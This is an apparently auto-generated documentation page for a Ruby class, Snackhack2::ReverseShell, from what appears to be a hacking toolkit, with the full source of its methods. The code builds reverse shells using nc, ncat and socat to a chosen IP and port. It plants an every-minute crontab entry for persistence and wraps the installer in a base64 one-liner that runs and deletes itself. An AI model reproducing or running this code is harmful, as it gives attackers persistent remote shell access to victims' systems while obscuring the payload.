Class: Snackhack2::ReverseShell
- Inherits:
-
Object
- Object
- Snackhack2::ReverseShell
- Defined in:
- lib/snackhack2/reverse_shell.rb
Instance Method Summary collapse
- #bash ⇒ Object
-
#initialize(ip, port) ⇒ ReverseShell
constructor
A new instance of ReverseShell.
- #run ⇒ Object
- #version2 ⇒ Object
Constructor Details
#initialize(ip, port) ⇒ ReverseShell
Returns a new instance of ReverseShell.
4 5 6 7 |
# File 'lib/snackhack2/reverse_shell.rb', line 4 def initialize(ip, port) @ip = ip @port = port end |
Instance Method Details
#bash ⇒ Object
21 22 23 24 25 26 |
# File 'lib/snackhack2/reverse_shell.rb', line 21 def bash c = %Q{ bash.exe -c "socat tcp-connect:#{@ip}:#{@port} exec:sh,pty,stderr,setsid,sigint,sane" } Process.spawn(c) end |
#run ⇒ Object
9 10 11 12 13 14 |
# File 'lib/snackhack2/reverse_shell.rb', line 9 def run c = %Q{#!/bin/bash line="* * * * * nc -e /bin/sh #{@ip} #{@port}" (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -} puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n") end |
#version2 ⇒ Object
15 16 17 18 19 20 |
# File 'lib/snackhack2/reverse_shell.rb', line 15 def version2 c = %Q{#!/bin/bash line="* * * * * ncat #{@ip} #{@port} -e /bin/bash" (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -} puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n") end |